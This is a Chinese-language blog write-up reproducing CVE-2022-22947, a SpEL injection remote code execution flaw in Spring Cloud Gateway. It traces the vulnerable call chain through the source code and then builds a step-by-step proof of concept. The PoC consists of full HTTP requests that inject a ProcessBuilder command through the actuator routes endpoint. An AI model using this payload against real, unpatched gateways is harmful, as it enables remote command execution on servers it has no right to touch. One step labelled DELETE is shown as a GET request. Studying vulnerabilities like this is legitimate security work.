0 环境搭建

影响范围:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway < 3.0.7

p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

也可以本地搭建

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动

1 漏洞触发点

首先找到spring-cloud-gateway的commit记录,看看修改的地方,直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

如下:

非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置

三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中,且重写了不同的normalize方法,继续向上找ShortcutType#normalize方法的调用

最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,并且传入的时该类的properties成员变量,而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中

继续向上寻找bind方法的调用

发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不仅出现了bind方法调用,还出现了properties方法调用,跟进该properties方法可见对properties成员变量的设置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下调用spel表达式时恰好需要的properties成员变量。

由此即可知道该漏洞的触发可能来自于gatewayFilter的添加,并且从loadGatewayFilters方法继续向上跟踪调用如下:

RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

也可以看到确实来自于filter的添加。

所以思路可以出来,由于添加filter时输入了spel表达式,被当作properties进行解析,最终导致恶意表达式被执行,从而实现rce。

再从spring cloud gateway的文档进行查看

文档的11.5中提到,使用POST请求/gateway/routes/id 并使用json格式的数据,可以创建一个route,并且从前面的格式中也可以看到,支持添加filter。

但没有给出filters字段中具体应该怎么写,但没关系,我们从源代码可以找到

org.springframework.cloud.gateway.filter.FilterDefinition这个filter的定义类中,其成员变量如下

运行程序后,再mappings里面可以看到/routes/{id}这个uri对应的方法

跟进该方法可以看到对filter给进的name有验证

调试模型下可以看到允许的name如下

这里的每种name,实际上又对应了不同的GatewayFilterFactory

其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果,因此恰好满足回显要求

根据这里的getName和getValue可以知道还需要添加name和value字段

2 构建poc

根据前面的信息,可以逐步汇总出poc的样子,

  • 首先是POST /actuator/gateway/routes/{id}
  • 然后添加json body,其中需要给出id和filters字段
  • 其中filters字段需要给出name和args,而name的值需要设置为AddResponseHeader获得回显,args中需要name和value

最终poc如下

  • post请求创建route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329 {
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
}
}],
"uri": "http://test.com"
}

  • POST请求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

由于前面使用的spel是ping百度的,所以需要等待一会,也可以换成其它命令,比如dir、ipconfig、whoami等

  • GET请求/actuator/gateway/routes/test,触发spel,并得到回显
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到ping命令的输出

  • DELETE请求删除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

3 总结

昨天在twitter上看到了这个rce,没有太注意,昨天晚上看到通报,感觉这个洞还是有价值的,想着今天来复现应该差不多,结果P牛昨天就把docker上传到vulhub了,y4er师傅也写出了分析文章,跟不上啊= =

p牛和y4er师傅用的是spring自带的类处理命令执行的返回字节流,我用的是之前找到的jdk自带方法,其实都差不多

参考

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现的更多相关文章

  1. Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析

    Spring Cloud gateway是什么? Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关.网关作为流量的,在微服务系统中有着非常作 ...

  2. CVE-2022-22947 SpringCloud GateWay SpEL RCE

    CVE-2022-22947 SpringCloud GateWay SpEL RCE 目录 CVE-2022-22947 SpringCloud GateWay SpEL RCE 写在前面 环境准备 ...

  3. spring cloud gateway - RequestRateLimiter

    1. Official website 5.7 RequestRateLimiter GatewayFilter Factory The RequestRateLimiter GatewayFilte ...

  4. 网关服务Spring Cloud Gateway(三)

    上篇文章介绍了 Gataway 和注册中心的使用,以及 Gataway 中 Filter 的基本使用,这篇文章我们将继续介绍 Filter 的一些常用功能. 修改请求路径的过滤器 StripPrefi ...

  5. spring cloud gateway 之限流篇

    转载请标明出处: https://www.fangzhipeng.com 本文出自方志朋的博客 在高并发的系统中,往往需要在系统中做限流,一方面是为了防止大量的请求使服务器过载,导致服务不可用,另一方 ...

  6. 微服务网关实战——Spring Cloud Gateway

    导读 作为Netflix Zuul的替代者,Spring Cloud Gateway是一款非常实用的微服务网关,在Spring Cloud微服务架构体系中发挥非常大的作用.本文对Spring Clou ...

  7. 微服务网关 Spring Cloud Gateway

    1.  为什么是Spring Cloud Gateway 一句话,Spring Cloud已经放弃Netflix Zuul了.现在Spring Cloud中引用的还是Zuul 1.x版本,而这个版本是 ...

  8. 跟我学SpringCloud | 第十四篇:Spring Cloud Gateway高级应用

    SpringCloud系列教程 | 第十四篇:Spring Cloud Gateway高级应用 Springboot: 2.1.6.RELEASE SpringCloud: Greenwich.SR1 ...

  9. Spring Cloud Gateway(十):网关过滤器工厂 GatewayFilterFactory

    本文基于 spring cloud gateway 2.0.1 1.GatewayFilterFactory 简介 路由过滤器允许以某种方式修改传入的HTTP请求或传出的HTTP响应. 路径过滤器的范 ...

随机推荐

  1. SpringCloud之使用Zookeeper作为注册中心

    SpringCloud之使用Zookeeper作为注册中心 linux安装zookeeper 安装zookeeper 关闭linux防火墙 启动zookeeper 1 创建项目导入依赖和配置文件 &l ...

  2. Azure Terraform(十)利用 Azure DevOps 的条件语句选择发布环境

    一,引言 之前我讲过的所有的案例中,都是将整个Azure Resource 部署到同一个订阅下,没有做到灵活的在 Azure Pipeline 在运行前选择需要部署的环境.在实际的项目开发中,我们也会 ...

  3. golang中的反射reflect详解

    先重复一遍反射三定律: 1.反射可以将"接口类型变量"转换为"反射类型对象". 2.反射可以将"反射类型对象"转换为"接口类型变量 ...

  4. lvs的三种模式

    一.NAT模式(VS-NAT) 原理:就是把客户端发来的数据包的IP头的目的地址,在负载均衡器上换成其中一台RS的IP地址,并发至此RS来处理,RS处理完成后把数据交给经过负载均衡器,负载均衡器再把数 ...

  5. ansible roles实践——服务器初始化

    1.服务器初始化可以做哪些工作 关闭selinux ntp同步时间 修改dns为自建dns 配置ssh互信 修改yum源 设置主机名 内核参数优化 安装jdk 2.roles编写

  6. MySQL存储引擎(最全面的概括)

    目录 一:MySQL存储引擎 1.什么是存储引擎? 2.查看存储引擎信息 二:MySQL支持的存储引擎 1.存储引擎 三:innoDB存储引擎 1.特性 2.存储结构 3.优缺点.适用场景 四:MyI ...

  7. linux中cut命令与tr命令

    目录 一:linux中cut命令 1.cut 命令作用 2.参数 3.参数案例解析: 二:tr命令 1.tr命令作用 2.tr命令格式 3.tr命令参数 4.案例解析: 一:linux中cut命令 1 ...

  8. JavaScript之原型链与原型链继承

    原型链 定义:每个实例对象(object)都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype).该原型对象也有一个自己的原型对象(__proto__),层层 ...

  9. 在Linux虚拟机上挂载文件卷

    一 通过跳板机 将卷挂载在ec2 实例上的方法. 1 查询 机器上挂载了那些卷? // lsblk 是否已经是挂载卷 查看后面的目录 如果没有就是未挂载. 2 操作未挂载卷? /* sudo file ...

  10. plsql 存储过程 介绍。

    /* 7-22 知识总结? 1. 存储过程 2.函数 3.包 */ /*1.什么是存储过程? 语法? 存储过程:类似于Java中的方法:完成一个特定的功能,一系列代码 (增删改操作和一些逻辑判断,se ...